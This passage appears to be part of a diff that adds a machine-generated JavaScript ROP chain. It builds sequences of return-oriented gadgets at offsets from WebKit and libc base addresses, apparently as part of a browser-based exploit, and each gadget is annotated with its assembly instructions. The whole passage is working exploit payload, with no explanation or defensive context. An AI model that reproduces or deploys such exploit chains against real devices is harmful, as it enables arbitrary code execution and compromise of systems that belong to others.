+webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L599: +db([1, 0]); // 0x1 +set_gadget(libc_base+772328,); //pop rcx +//L600: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L601: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+89776, //L602 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+89792, //L603 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L602: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L603: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+89880, //L604 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L604: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+89936, //L606 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L606: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+90008, //L608 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L608: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+90064, //L610 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L610: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+90168, //L613 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L612: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L613: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+90272, //L616 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+90256, //L615 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L615: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L616: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+90416, //L620 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+90384, //L618 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+90400, //L619 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L618: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L619: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L620: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+90488, //L621 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L621: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+90544, //L623 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L623: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+90656, //L627 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L625: +db([8, 0]); // 0x8 +set_gadget(libc_base+772328,); //pop rcx +//L626: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L627: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+90736, //L628 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+90752, //L629 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L628: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L629: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+90840, //L630 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L630: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+90896, //L632 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L632: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+91016, //L635 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L634: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L635: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+91120, //L638 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+91104, //L637 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L637: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L638: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+91264, //L642 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+91232, //L640 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+91248, //L641 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L640: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L641: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L642: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+91336, //L643 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L643: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+91392, //L645 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L645: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+91504, //L649 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L647: +db([7, 0]); // 0x7 +set_gadget(libc_base+772328,); //pop rcx +//L648: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L649: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+91584, //L650 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+91600, //L651 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L650: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L651: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+91688, //L652 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L652: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+91744, //L654 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L654: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+91816, //L656 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L656: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+91872, //L658 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L658: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+91976, //L661 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L660: +db([40, 0]); // 0x28 +set_gadget(libc_base+772328,); //pop rcx +//L661: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+92080, //L664 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+92064, //L663 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L663: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L664: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+92224, //L668 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+92192, //L666 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+92208, //L667 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L666: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L667: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L668: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+92320, //L670 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L669: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L670: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+92424, //L673 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+92408, //L672 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L672: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L673: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+92568, //L677 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+92536, //L675 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+92552, //L676 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L675: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L676: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L677: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+92640, //L678 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L678: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+92696, //L680 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L680: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+92808, //L684 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L682: +db([8, 0]); // 0x8 +set_gadget(libc_base+772328,); //pop rcx +//L683: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L684: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+92888, //L685 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+92904, //L686 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L685: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L686: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+92992, //L687 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L687: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+93048, //L689 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L689: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+93120, //L691 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L691: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+93176, //L693 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L693: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L695: +libc_base+768796, //pop rax +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+93328, //L697 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L696: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L697: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+93432, //L700 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+93416, //L699 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L699: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L700: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+93576, //L704 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+93544, //L702 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+93560, //L703 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L702: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L703: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L704: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+93648, //L705 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L705: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+93704, //L707 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L707: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+93816, //L711 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L709: +db([9, 0]); // 0x9 +set_gadget(libc_base+772328,); //pop rcx +//L710: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L711: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+93896, //L712 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+93912, //L713 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L712: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L713: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+94000, //L714 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L714: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+94056, //L716 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L716: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+94128, //L718 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L718: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+94184, //L720 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L720: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+94288, //L723 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L722: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L723: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+94392, //L726 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+94376, //L725 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L725: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L726: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+94536, //L730 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+94504, //L728 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+94520, //L729 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L728: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L729: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L730: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+94608, //L731 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L731: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+94664, //L733 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L733: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+94776, //L737 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L735: +db([6, 0]); // 0x6 +set_gadget(libc_base+772328,); //pop rcx +//L736: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L737: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+94856, //L738 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+94872, //L739 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L738: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L739: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+94960, //L740 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L740: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+95016, //L742 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L742: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+95136, //L745 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L744: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L745: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+95240, //L748 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+95224, //L747 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L747: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L748: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+95384, //L752 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+95352, //L750 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+95368, //L751 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L750: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L751: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L752: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi 